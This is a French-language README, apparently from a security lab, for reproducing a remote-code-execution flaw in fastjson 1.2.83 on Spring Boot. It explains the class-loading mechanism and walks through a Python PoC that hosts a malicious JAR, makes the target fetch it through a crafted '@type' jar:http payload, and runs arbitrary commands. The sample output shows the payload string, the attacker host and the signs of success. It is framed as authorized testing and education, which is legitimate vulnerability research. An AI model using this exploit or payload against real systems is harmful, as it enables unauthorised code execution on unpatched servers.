
Laboratoire de reproduction RCE exécutable Spring Boot + fastjson 1.2.83 avec un PoC Python qui génère et héberge un JAR malveillant et délivre la charge utile @type.
Il s'agit d'un environnement de reproduction minimal exécutable : un fat-jar exécutable Spring Boot 2.7.18 + fastjson 1.2.83, accompagné d'un PoC en Python pur qui génère une classe malveillante dont le nom de classe est une URL jar:, héberge le JAR, affiche la charge utile @type et l'envoie automatiquement.
Tests autorisés uniquement : ce projet exécute des commandes arbitraires et expose un JAR malveillant. À utiliser uniquement pour des expérimentations locales, des CTF, l'enseignement ou des tests de sécurité explicitement autorisés ; ne l'utilisez pas contre des systèmes non autorisés. Arrêtez immédiatement l'application et le service PoC après les tests.
1.2.68 <= fastjson <= 1.2.83 ; corrigé dans 1.2.84.java -jar xxx.jar), et le thread de parsing peut utiliser le LaunchedURLClassLoader de Boot. AutoType et SafeMode restent désactivés par défaut.ParserConfig#checkAutoType concatène toujours le @type contrôlé par l'attaquant en chemin de ressource et appelle getResourceAsStream pour le sonder ; une classe distante portant @JSONType est alors traitée comme un type de confiance et loadClass est poursuivi.TypeUtils#loadClass définit via le chargeur de classes de Boot un nom de classe de la forme jar:http://... ; le constructeur de EnumDeserializer appelle getEnumConstants(), exécute le <clinit> de l'enum malveillant et finit par exécuter des commandes arbitraires avec les privilèges du processus applicatif.<workspace>/
├── CVE-2026-16723-fastjson1.2.83/ # 漏洞环境(本目录)
│ ├── README.md # 本文件
│ ├── .gitignore # 忽略构建/运行产物
│ ├── pom.xml # 聚合 POM(仅 vuln-app)
│ ├── vuln-app/ # Spring Boot 2.7.18 + fastjson 1.2.83
└── CVE-2026-16723-fastjson1.2.83-poc/
├── .gitignore # 忽略 Python/PoC 产物
└── poc.py # 纯 Python PoC,仅标准库
| Élément | Exigence |
|---|---|
| JDK | 8 (vérifié ; lancez le fat-jar avec java -jar) |
| Maven | 3.6+ (3.9 vérifié) |
| Python | 3.8+ (3.11 vérifié, bibliothèque standard uniquement) |
| Système d'exploitation | Windows ou Linux ; le PoC utilise cmd par défaut, ajoutez --shell sh pour une cible Linux |
| Ports | 8090 application, 19090 service HTTP PoC, 5005 JDWP |
| Réseau | La cible doit pouvoir accéder à --host:--port ; utilisez 127.0.0.1 pour une reproduction locale |
Environnement de test de ce README : Windows 10 x64, Oracle JDK 1.8.0_503, Apache Maven 3.9.16, Python 3.11. Pour une cible Linux, utilisez --shell sh.
Il est recommandé d'exécuter dans une machine virtuelle isolée ou un hôte de test. Une version de JDK plus récente, l'exécution directe de la classe principale dans un IDE ou mvn spring-boot:run peuvent modifier le comportement de chargement des classes et empêcher le payload de fonctionner.
Exécutez dans le répertoire de l'environnement vulnérable :
mvn -DskipTests clean package
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar vuln-app\target\fastjson-demo.jar
Lorsque le débogage à distance n'est pas nécessaire, supprimez le paramètre -agentlib:jdwp=... :
Ce fat-jar doit être lancé avec
java -jar. L'exécution directe de la classe principale dans l'IDE ou viaspring-boot:runutilise généralementAppClassLoader, qui peut ne pas être en mesure de définir un nom de classe sous forme d'URLjar:, ce qui fait que l'on ne voit que la détection à distance et pas l'exécution de<clinit>.
Ouvrez un autre terminal :
curl.exe -s http://127.0.0.1:8090/api/info
La réponse doit contenir au minimum :
{
"fastjson_version": "1.2.83",
"auto_type_support": false,
"safe_mode": false,
"fastjson_location": "jar:file:/.../fastjson-demo.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/"
}
Accédez au répertoire PoC de même niveau :
cd ..\CVE-2026-16723-fastjson1.2.83-poc
python poc.py --host 127.0.0.1 --command "whoami > poc_result.txt" --target http://127.0.0.1:8090/api/parse-boot-loader
--host est l'IP de l'attaquant accessible par la cible (adresse d'hébergement de la classe malveillante). Pour une reproduction locale, saisir 127.0.0.1 ; pour une cible distante, il faut saisir une adresse accessible par la cible. Une IPv4 en notation pointée est automatiquement convertie en décimal et écrite dans l'URL jar:. Si --target est omis, le PoC se contente d'afficher le payload et de maintenir l'hébergement, ce qui convient à un envoi manuel.
Il faut impérativement utiliser
/api/parse-boot-loader(ou/api/login-boot-loader) comme point d'entrée. Cela définit le TCCL du thread d'analyse sur leLaunchedURLClassLoaderde Boot ; le/api/parsedu thread de requête Tomcat standard ne déclenche généralement qu'une sonde distante, sans définir le nom de classe de l'URL, et donc sans exécuter<clinit>. Cela ne signifie pas que la vulnérabilité n'existe pas, mais que c'est une condition préalable au chargeur de classes pour cette reproduction.
La sortie du PoC ressemble à :
[*] attacker host : 127.0.0.1 -> 2130706433
[*] class : jar:http://2130706433:19090/poc7f5be8!/Poc1a2b3c4d
[*] payload : {"@type":"jar:http:..2130706433:19090.poc7f5be8!.Poc1a2b3c4d"}
[*] command : whoami > poc_result.txt (cmd.exe /c)
[*] serving : http://2130706433:19090/poc7f5be8 (entry Poc1a2b3c4d.class)
[*] POST : http://127.0.0.1:8090/api/parse-boot-loader
[*] response : 500 {"error":"com.alibaba.fastjson.JSONException","message":"create instance error",...}
[*] success marks : target log 'POC_EXECUTED:Poc1a2b3c4d', command effect, server GET /poc7f5be8
Il faut également noter :
GET /poc<hex> (au moins 1 fois, généralement 2 fois) ;create instance error. Il s'agit de l'erreur attendue causée par l'absence de constructeur sans argument de l'enum après l'exécution de <clinit>, ce qui ne signifie pas un échec de l'exploitation ;whoami doit être visible.